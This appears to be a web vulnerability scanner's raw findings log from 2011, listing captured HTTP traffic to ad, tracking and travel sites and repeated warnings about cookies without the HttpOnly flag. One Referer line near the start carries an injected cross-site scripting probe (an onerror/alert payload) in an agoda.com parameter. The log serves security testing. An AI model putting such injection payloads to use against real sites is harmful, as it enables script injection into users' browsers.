GET /BlueSquare/selector/client?client=BlueSquare&placement=Guardian_300x312_Football_Premiership HTTP/1.1 Host: ff.connextra.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.guardian.co.uk/football/manchester-united Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 X-Served-By: vm-pcxtad05.gs1.betgenius.com P3P: CP=NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR SAMa BUS IND UNI PUR COM NAV Location: http://ff.connextra.com/servlet/controller?service=Guardian_300x312_Football_Premiership_v2&client=BlueSquare&placement=Guardian_300x312_Football_Premiership Content-Length: 0 Expires: Sun, 02 Oct 2011 23:50:54 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sun, 02 Oct 2011 23:50:54 GMT Connection: close Set-Cookie: FrequencyCappingCookie=; Domain=.connextra.com; Expires=Mon, 01-Oct-2012 23:50:54 GMT; Path=/BlueSquare Set-Cookie: BlueSquare=A%7Cpostimpression%7C1%7C201110030050%7C7%7CGuardian_300x312_Football_Premiership%7CGuardian_300x312_Football_Premiership_v2%7C; Domain=.connextra.com; Expires=Mon, 01-Oct-2012 23:50:54 GMT; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pagead/viewthroughconversion/985248306/?label=M6MLCJbtiQIQsuTm1QM5a299 HTTP/1.1 Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5 Referer: http://www.agoda.com/pages/agoda/default/page_AdScript.aspx?type=R&pagetypeid=1&conversionID=985248306&conversionLabel=M6MLCJbtiQIQsuTm1QM5a299"onerror%3d"alert(1)"d0370ac32b&_=1317602266727 Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: googleads.g.doubleclick.net Proxy-Connection: Keep-Alive
Response
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Mon, 03 Oct 2011 00:55:57 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif Set-Cookie: test_cookie=CheckForPermission; expires=Mon, 03-Oct-2011 01:10:57 GMT; path=/; domain=.doubleclick.net X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotelimages/s/028000/028920A-thumb.jpg HTTP/1.1 Host: images.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotelplanner.com/Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 28 Jan 2002 14:51:42 GMT Accept-Ranges: bytes ETag: "013394cba8c11:60d" Server: Microsoft-IIS/6.0 Set-Cookie: ACOOKIE=C8ctADUwLjIzLjEyMy4xMDYtMjkyODYxNDcyMC4zMDE3OTY4MAAAAAAAAAABAAAAAgAAAFb9iE4q/YhOAQAAAAEAAABW/YhOKv2ITgEAAAACAAAAITUwLjIzLjEyMy4xMDYtMjkyODYxNDcyMC4zMDE3OTY4MA--; path=/; expires=Thu, 30-Sep-2021 00:09:58 GMT P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Date: Mon, 03 Oct 2011 00:09:57 GMT Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: p270r=b$u-7#A.8Qp|i-1643195#2.8Qp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:10:24 GMT; Path=/ Set-Cookie: imp=a$le#1317600624289_282559054_ap3100_int|374#1316278116134_138322589_as3104_imp|308#1316265127233_137611811_as3107_imp|305#1315313297486_68372787_as3103_imp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:10:24 GMT; Path=/tase P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html;charset=UTF-8 Content-Length: 352 Date: Mon, 03 Oct 2011 00:10:23 GMT Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: p219r=b$u-77#A.8Qp|i-H!FaxnS5xi!8TG!8Vy!IJ3~#1.8Qp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:41:22 GMT; Path=/ Set-Cookie: imp=a$le#1317602482047_282671641_ap3100_int|194#1317602303729_239168105_as3104_imp|374#1316278116134_138322589_as3104_imp|308#1316265127233_137611811_as3107_imp|305#1315313297486_68372787_as3103_imp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:41:22 GMT; Path=/tase P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Content-Type: image/gif Content-Length: 43 Date: Mon, 03 Oct 2011 00:41:21 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:09:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Set-Cookie: ACID=optout!; domain=advertising.com; expires=Wed, 02-Oct-2013 00:09:02 GMT; path=/ Cache-Control: private, max-age=3600 Expires: Mon, 03 Oct 2011 01:09:02 GMT Content-Type: image/gif Content-Length: 49
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookies were issued by the application and do not have the HttpOnly flag set:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Wed, 02 Oct 2013 00:12:58 GMT; domain=.wtp101.com
opvc=!3919,CgVvcGVueBIkMjg5MjMxMGQtNDYwYS00Y2UzLWJjMjYtNDNhMDhkZmQ1YTcxIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBH1GFLMK6OU.8QT8HNVps3f8P.gEAIAFAYIHB1dpbmRvd3M#,1317600778; path=/; expires=Wed, 02 Oct 2013 00:12:58 GMT; domain=.wtp101.com
pvmap=!3919,1317600778,ova!3919,1317600740,ova!3919,1317600698,ova!3919,1317600201,ova3; path=/; expires=Wed, 02 Oct 2013 00:12:58 GMT; domain=.wtp101.com
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookies were issued by the application and do not have the HttpOnly flag set:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Wed, 02 Oct 2013 00:03:21 GMT; domain=.wtp101.com
opvc=!3919,CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M#,1317600201; path=/; expires=Wed, 02 Oct 2013 00:03:21 GMT; domain=.wtp101.com
pvmap=!3919,1317600201,ova3!3919,1317600201,ova3; path=/; expires=Wed, 02 Oct 2013 00:03:21 GMT; domain=.wtp101.com
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:01:11 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.3 P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Set-Cookie: rpb=4940%3D1%267751%3D1%265364%3D1%267259%3D1%267249%3D1%267935%3D1%266643%3D1%264212%3D1%266286%3D1%265852%3D1%266432%3D1%267727%3D1%264210%3D1%265671%3D1%264554%3D1%266073%3D1%262372%3D1%263810%3D1%262374%3D1; expires=Sat, 31-Mar-2012 00:01:11 GMT; path=/; domain=.rubiconproject.com Content-Length: 49 Content-Type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
OX_u=6f439ee2-7963-03ad-3e7a-e5d68608f547_m; Version=1; Expires=Mon, 01 Oct 2012 23:52:28 GMT; Max-Age=31536000; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
<html><body><p>Redirecting to <a href="http://d.audienceiq.com/r/dm/mkt/44/mpid//mpuid/2944787775510337379/mchpid/9/url/">http://d.audienceiq.com/r/dm/mkt/44/mpid//mpuid/2944787775510337379/mchpid/9/u ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
<html><body><p>Redirecting to <a href="http://d.audienceiq.com/r/dm/mkt/44/mpid//mpuid/2944787775510337379/mchpid/3/url/">http://d.audienceiq.com/r/dm/mkt/44/mpid//mpuid/2944787775510337379/mchpid/3/u ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<html><body><!-- PubMatic- Exclude user - DO NOT MODIFY THIS PIXEL IN ANY WAY --> <img src='http://image2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MiZjb2RlPTIwNTQmdGw9NTE4NDAw ' width='1' height ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
POST /safebrowsing/downloads?client=googlechrome&appver=14.0.835.187&pver=2.2&wrkey=AKEgNitErWf0UFLnRnw3Az6mp57JIWbOiz4iR9gNFsjxTOQfoHIRqIpBEuaneWSYfX0d7kUgr1D2W0FMpF_cHSqPs9XEwGa4Xg== HTTP/1.1 Host: safebrowsing.clients.google.com Proxy-Connection: keep-alive Content-Length: 195 Content-Type: text/plain User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept-Encoding: gzip,deflate,sdch
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /promoLoadDisplay?member=goalcom&campaign=DEFAULT&channel=widget&zone=593986973&lp=0 HTTP/1.1 Host: serve.williamhill.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.goal.com/en/teams/england/97/man-utd-news Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 302 Found Date: Sun, 02 Oct 2011 23:58:02 GMT Server: Jetty(6.1.22) Set-Cookie: flashtalkingad1="GUID=1343AC00FD7B0F|segment=(adg-t:1343)|f20004352=(s:1-t:13702351)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:58:02 GMT Cache-Control: no-cache, no-store Content-Length: 0 pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: http://www.barclayswealth.com/international/foreign-exchange-affiliates.htm?WT.mc_ID=DISP_Premiership_080711 Via: 1.1 sjc005200 (MII-APC/2.1) Content-Type: text/plain
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Set-Cookie: flashtalkingad1="GUID=1343AC00FD7B0F|segment=(adg-t:1343)|f20004352=(s:2-t:13702351)";Path=/;Domain=flashtalking.com;Expires=Tue, 01-Oct-13 23:53:28 GMT Cache-Control: no-cache, no-store Pragma: no-cache P3p: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Sun, 02 Oct 2011 23:53:28 GMT Server: Jetty(6.1.22) Content-Type: text/javascript Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a) Connection: keep-alive Content-Length: 582
var ftGUID_183799="1343AC00FD7B0F"; var ftConfID_183799="162490"; var ftParams_183799="click=http://adserver.adtech.de/adlink|327|2816969|0|170|AdId=6109710;BnId=113;itime=599458642;nodecode=yes;li ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Connection: close Date: Sun, 02 Oct 2011 23:58:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ACOOKIE=C8ctADUwLjIzLjEyMy4xMDYtNDA4NjMyNTc2MC4zMDE3MzE5MAAAAAAAAAAgAAAAVdcAADN1Xk4zdV5OUNcAAF11Xk5ddV5OLbAAABOxX05Mrl9OyOIAAK6xX05or19Ofv0AAK+xX05pr19OJfoAAKixX04bsV9OoP4AABuyX06wsV9OCJkAAMvKYk7NyWJOF7MAACmlY07WpGNOw+YAAOoWZU4sFmVO+M8AAI5FZU4uRWVOzEsAACNbZU4jW2VOz0sAAEZMZU7IS2VOwOYAAJtOZk46TmZONacAAEljZk5JY2ZOAskAADd8Z043fGdOgMUAAEF9Z05AfWdOm/IAAAEYaE7ZD2hOnfIAAHfqiE5o6ohOc/sAAGQSaE5fEmhO990AALcwbk6qMG5OZuUAAGiicE4YoXBOoZ4AAOqhcE4yoXBOk+8AAH2hcE59oXBOD6gAAJ3ccU5B23FOI8sAAGbbcU5P23FODqgAAJLfcU4t33FOJNoAAFJIc05SSHNOutAAAIcNhU6HDYVOyBEBABXEhU4VxIVOSaEAAAQFh04EBYdOtuwAAJb6iE6R+ohOFgAAAPxEAABddV5OM3VeTkRFAAATsV9OTK5fTkooAAAbsl9OaK9fTggrAADLymJOzcliTvBFAAAppWNO1qRjTjFOAADqFmVOLBZlTlNLAACORWVOLkVlTmseAAAjW2VOI1tlTkxNAACbTmZOOk5mTkRCAABJY2ZOSWNmTmVJAABBfWdON3xnTq1OAAB36ohOaOqITtUiAAC3MG5OqjBuTjFMAABoonBOGKFwTtc/AADqoXBOMqFwTsJBAACS33FOQdtxThpKAABm23FOT9txTmRMAABSSHNOUkhzTnpLAACHDYVOhw2FToxNAAAVxIVOFcSFTq49AAAEBYdOBAWHTs5OAACW+ohOkfqITgAAAAA-; path=/; expires=Wed, 29-Sep-2021 23:58:14 GMT P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Pragma: no-cache Expires: -1 Cache-Control: no-cache Content-type: image/gif Content-Length: 67
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 302 Moved Temporarily Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR BUS DSP ALL COR" Location: http://cas.criteo.com/delivery/admeld_map?match=4ec87822-8f33-4202-954a-f6f06a37734b Content-Length: 268 Content-Type: text/html; charset=iso-8859-1 Date: Sun, 02 Oct 2011 23:49:01 GMT Connection: close Set-Cookie: D41U=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.tag.admeld.com
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://cas.criteo.com/delivery/admeld_map?match ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
lm="2 Oct 2011 23:51:41 GMT"; Version=1; Domain=.rubiconproject.com; Max-Age=31536000; Path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
function esf(){var M='',nb='" for "gwt:onLoadErrorFn"',lb='" for "gwt:onPropertyErrorFn"',Y='"><\/script>',$='#',Lb='.cache.html?jsessionid='+jsessionid,ab='/',Fb='226C4CC2E5A5A4FBE9703DC949A8A7C5',Gb ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /rest/json?data={%22aid%22:%2211%22,%22sid%22:%22D5E8C261-B1E7-4A8B-AEEE-A8B3463F3408%22,%22r%22:265892,%22si%22:1,%22url%22:%22http://www.agoda.com/%22,%22ua%22:%22Mozilla/5.0%20(Windows%20NT%206.1;%20WOW64)%20AppleWebKit/535.1%20(KHTML,%20like%20Gecko)%20Chrome/14.0.835.187%20Safari/535.1%22,%22dlt%22:10244,%22clt%22:29183,%22dcl%22:37693,%22lt%22:37694,%22nt%22:0,%22rc%22:0,%22ft%22:2013,%22dt%22:0,%22ct%22:0,%22sct%22:null,%22rqt%22:2006,%22rpt%22:2,%22let%22:1,%22nl%22:1886} HTTP/1.1 Host: uxm.thousandeyes.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.agoda.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:40:45 GMT Server: Apache/2.2.14 (Ubuntu) P3P: policyref='/p3p/p3p.xml', CP='NOI NID HISa OTPa OUR UNRa BUS COM NAV' Set-Cookie: _uxm_cid=D5E8C261-B1E7-4A8B-AEEE-A8B3463F3408; Domain=.thousandeyes.com; Expires=Tue, 02-Oct-2012 00:40:45 GMT Vary: Accept-Encoding Content-Length: 2 Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bts/generic14.php?cname=nwmhotwire&cvalue=hotelsearch HTTP/1.1 Host: vitamine.networldmedia.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/results.jsp?searchTokenId=1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:41:30 GMT Server: Apache/2.2.9 (Fedora) X-Powered-By: PHP/5.2.9 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR LAW ADM DEV PSA PSD HIS OUR IND UNI" Set-Cookie: nwmhotwire=hotelsearch; expires=Wed, 02-Nov-2011 00:41:30 GMT; path=/; domain=networldmedia.net Vary: Accept-Encoding,User-Agent Content-Length: 43 X-Cnection: close Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /partners/partnersearch.aspx?CkInDay=09&CkInMonth=10&CkInYear=2011&CkOutDay=16&CkOutMonth=10&CkOutYear=2011&NumberOfRooms=1&NumberOfAdults=1&NumberOfChildren=0&CityName=&CID=1444075 HTTP/1.1 Host: www.agoda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.trip.com/hotels.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following cookies were issued by the application and do not have the HttpOnly flag set:
/ad22156.11567=,CFC,GFC; path=/
/SC=0-2vc.1; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!-- var cb = Math.random(); var d = document; d.write('<script language="JavaScript" type="text/javascript"'); d.write('src="http://optimized-by.rubiconproject.com/a/7743/12359/21900-15.js?cb= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
iEAPID=00000,; Domain=.expedia.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
iEAPID=00000,; Domain=.expedia.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
